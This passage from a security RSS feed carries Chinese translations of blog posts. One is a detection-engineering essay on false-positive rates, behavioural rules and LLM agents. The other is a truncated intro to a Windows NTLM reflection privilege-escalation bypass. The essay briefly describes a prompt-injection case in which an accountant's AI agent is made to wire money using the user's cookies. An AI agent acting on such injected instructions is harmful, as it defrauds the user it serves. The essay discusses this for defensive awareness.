style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">&#34;在入侵检测中，任何错误分类的相对成本都比许多其他机器学习应用高得多。一次误报意味着昂贵的分析师时间被花在排查报告事件上，最终却发现它对应的是良性的底层活动。正如 Axelsson 所论证的，即便是非常小的误报率，也会迅速让 NIDS 变得不可用。&#34;</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在我看来，这篇论文是检测工程师的必读材料。要弄明白它为什么会得出这个结论，我们用一个易懂的例子来拆解一下。</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><strong><span leaf="">注意：</span></strong><span leaf="">就本文而言，真阳性指的是任何最终查到恶意结果的调查，假阳性则是任何对应良性活动的调查。不过，我建议在安全监控里避免使用二元的真/假阳性框架。</span></p></blockquote><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">设想一个小型环境，每天产生一百万条事件，其中真正发生的入侵每天有两次。假设每次入侵会产出十条事件，即一百万条事件中有二十条入侵相关事件。任意一条事件属于入侵的概率为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">20 / 1,000,000 = 0.00002</span></code><span leaf="">。正是这个微小的概率，让 </span><strong><em><span leaf="">误报率</span></em></strong><span leaf="">成为衡量检测逻辑是否有效时最重要的那个指标。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">检测率与误报率经常被混淆，被当成互为反面的两个概念，其实并非如此。检测率是真阳性除以实际发生的入侵事件数，误报率则是假阳性除以实际的良性事件数。</span><strong><em><span leaf="">这两个数字可以独立变化。</span></em></strong><span leaf="">误报率最终之所以占主导，并不是因为它在某种抽象意义上更重要，而是因为良性样本的数量大约是入侵样本的 </span><strong><em><span leaf="">50,000</span></em></strong><span leaf="">倍。哪怕检测率拉到完美，也只能拿下二十次命中，因为可命中的入侵事件总共就只有二十条。一个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0.001</span></code><span leaf="">的误报率却能产出一千次误报，因为可触发的良性事件接近一百万条。_误报率被乘上了一个比检测率大得多的数字。_</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">那么真阳性率 ( TPR ) 的算法是：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">TPR = TP / 实际入侵事件</span></code><span leaf="">。代入我们的例子，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">20</span></code><span leaf="">/ </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">20</span></code><span leaf="">= </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1.0</span></code><span leaf="">( 完美检测器抓到了全部 20 条入侵事件 )。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">误报率 ( FPR ) 的算法是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FPR = FP / 实际良性事件</span></code><span leaf="">。代入我们的例子，</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">FPR</span></code><span leaf="">是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0.001</span></code><span leaf="">：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1,000</span></code><span leaf="">/ </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">999,980</span></code><span leaf="">≈ </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0.001</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当检测率是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1.0</span></code><span leaf="">( 完美检测器 )、误报率是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0.00001</span></code><span leaf="">时，你能把全部二十条入侵事件都抓为真阳性。同时，你还会在良性流量上扔出大约十次误报，因为 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1,000,000 × 0.00001 = 10</span></code><span leaf="">。三十条警报里有二十条是真的，贝叶斯检测率约为 66%。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">把误报率提到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">0.001</span></code><span leaf="">( 这个数字写在纸面上还挺像样 )，警报队列就直接炸了。二十条真阳性纹丝不动，但误报数飙到 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1,000,000 × 0.001 = 1,000</span></code><span leaf="">。一共 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">1,020</span></code><span leaf="">条警报里有二十条是真的，大约 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2%</span></code><span leaf="">。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这个 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2%</span></code><span leaf="">比看上去更残忍。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2%</span></code><span leaf="">是分析师队列里任意一条警报真的属于一次入侵的概率，而不是 &#34;</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">2%</span></code><span leaf="">的入侵被检测到了&#34;。两次入侵在技术上都进了警报队列，在完美检测率下，你会为每次入侵至少触发一条事件。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">问题在于，分析师没法在不一一查看的情况下，从 1,020 条警报里挑出那二十条真的。他们要在一千条误报里淘出那二十条真警报。每条警报的可信度都太低，即便入侵确实被检出了，也不足以据此采取行动。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">分析师只用一周就学会了无视这个系统。所以，致命的从来不是检测率，_而是误报率。_</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">行为检测的漂移更小</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">一条范围圈得好的行为规则，瞄准的是&#34;没有任何合理业务用途&#34;的行为，而&#34;没有任何合理业务用途&#34;是一个几乎不会漂移的属性。</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winword.exe</span></code><span leaf="">派生 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">powershell.exe</span></code><span leaf="">是我反复回到的那个例子。几乎没有哪个业务流程需要 Word 去启动一个脚本解释器。这一点放在 2014 年的医院网络上成立，放在 2026 年的律所上同样成立。流量翻倍、员工远程办公、新的 SaaS 上线，这条规则的误报率几乎都不会动。这些变化都不会催生 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">winword.exe → powershell.exe</span></code><span leaf="">这种组合。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">这就是一条规则如何把误报率压到 Axelsson 数学要求的那个量级附近，并稳稳停在那里。检测器并不是在从当前流量中学习什么算正常，而是在定义系统的某个结构性事实。ML 异常检测就没有这个性质。它的&#34;正常&#34;只是训练时那一刻流量的快照，环境一变，误报率就会飙升——并不是发生了什么恶意活动，而仅仅是基线动了。每一次漂移都意味着又要重训一次，每一次重训都是一次拉高 FPR 的机会。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">防御者同样握有 AI/LLM……</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">防御者也能用上同样的模型。就像漏洞开发者用它们去找零日，蓝队也在用它们识别新行为，并以快得多的速度处理积压下来的行为研究。如前所述，检测和漏洞利用并非一一对应，即便对零日漏洞也是如此。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">虽然我一直对异常检测和 ML 在检测工程中的使用持批评态度，但它 </span><em><span leaf="">确实</span></em><span leaf="">有自己的位置。正如 Sommer 和 Paxson 的论文所指出的，只要瞄准具体、范围明确的使用场景，它是能发挥作用的。这并不是&#34;要么用 AI/ML、要么用行为&#34;的二元选择，而是两者并用。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我对 LLM 真正担心的不是漏洞利用的激增</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我对 LLM 最大的担忧并不是新漏洞利用的激增，而是那些尚未被充分理解的攻击面在增加，以及这些代理被授予的访问权限。我同样担心 AI 代理会让异常检测系统更容易出现误报——它们本质上就是非确定性的。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">举个例子，以后非技术岗位的人开始使用这些代理，大概会变成新常态。如果会计部门的某位员工被提示注入攻击，代理被指示用该用户合法的浏览器 cookie 发起一笔电汇，这事就会变得很难检测。而由于真正执行任务的不是用户本人，他甚至可能根本不知道事情发生了，也就无从向安全团队说明这是不是有意为之。</span></p><h2 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 24px 0px 16px;padding: 0px 0px 0.3em;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 1.5em;line-height: 1.25;color: black;border-bottom: 1px solid rgb(234, 236, 239);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">总结 / TL;DR</span></h2><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">短期内，我认为漏洞利用可得性的提升会对防御方造成负面影响，而行业和防御工具则会一边追赶。大多数组织还在摸索如何把 LLM 用到检测里，而那通常远比开发漏洞利用要曲折——环境多变且差异巨大，高质量训练数据也难以获取。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">长期来看，我认为新漏洞利用与新检测之间的差距会逐渐拉平，虽然这种关系从一开始就不是 1:1。我真正担心的不是漏洞利用的数量，而是这些代理被授予的访问权限，以及它们引入的攻击面至今仍未被充分理解这件事。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">---</span></p><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin-top: 15px;margin-right: 0px;margin-left: 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);margin-bottom: 0px !important;"><p style="margin: 0px 0px 15px;"><span leaf="">免责声明：本博客文章仅用于教育和研究目的。提供的所有技术和代码示例旨在帮助防御者理解攻击手法并提高安全态势。请勿使用此信息访问或干扰您不拥有或没有明确测试权限的系统。未经授权的使用可能违反法律和道德准则。作者对因应用所讨论概念而导致的任何误用或损害不承担任何责任。</span></p></blockquote><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="https://www.magonia.io/research/why-a-decade-of-writing-detection-logic-makes-the-mythos-exploit-numbers-less-scary/">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=95fa5d58&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAxODM5ODQzNQ%3D%3D%26mid%3D2247495982%26idx%3D2%26sn%3D2beaf1983f1762401a60c4e03aa2818f">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 04 May 2026 17:11:00 +0800</pubDate>
    </item>
    <item>
      <title>绕过 Windows 针对 SYSTEM 的认证反射缓解措施</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAxODM5ODQzNQ==&amp;mid=2247495894&amp;idx=1&amp;sn=9508ebb52b48089bdc2d8cd2f8b7de9b</link>
      <description>回顾 CVE-2025-33073 NTLM 反射漏洞，展示通用绕过方法论，并通过滥用 Windows SMB 客户端任意端口连接功能实现 Windows Server 2025 本地权限提升 ( CVE-2026-24294 )。</description>
      <content:encoded><![CDATA[<p><span>Guillaume André</span> <span>2026-05-03 21:25</span> <span style="display: inline-block;">中国香港</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=2e843be6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2Fh4gtbB74nSia3nN9bJL4t4PNGKRSibx2kstPnWEyf3GnWaJWKUzaD4jnhviaiaiaocfJkjOrqt6XXS1sLRN8Vb0ox6sCQCshR3NCicpp3Ixsxqkibc%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>回顾 CVE-2025-33073 NTLM 反射漏洞，展示通用绕过方法论，并通过滥用 Windows SMB 客户端任意端口连接功能实现 Windows Server 2025 本地权限提升 ( CVE-2026-24294 )。</p>
  <table style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding: 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><thead><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">原文链接</span></p></th><th style="font-weight: bold;border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">作者</span></p></th></tr></thead><tbody><tr style="border-top: 1px solid rgb(204, 204, 204);background-color: white;margin: 0px;padding: 0px;"><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf=""><a href="https://www.synacktiv.com/publications/bypassing-windows-authentication-reflection-mitigations-for-system-shells-part-1.html" target="_blank">https://www.synacktiv.com/publications/bypassing-windows-authentication-reflection-mitigations-for-system-shells-part-1.html</a></span></p></td><td style="border: 1px solid rgb(204, 204, 204);text-align: left;margin: 0px;padding: 6px 13px;"><p><span leaf="">Guillaume André</span></p></td></tr></tbody></table><blockquote style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;border-left: 4px solid rgb(223, 226, 229);padding: 0px 15px;color: rgb(106, 115, 125);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="margin: 0px;"><span leaf="">一年前，认证反射 ( authentication reflection ) 类漏洞作为一种强大的攻击向量重新浮出水面 —— 包括我们在内的多位安全研究员共同促成了 CVE-2025-33073 的发现。这一逻辑漏洞使得攻击者几乎可以在无需任何用户交互的情况下接管任何一台 Windows 机器。在我们发布分析文章以及 Microsoft 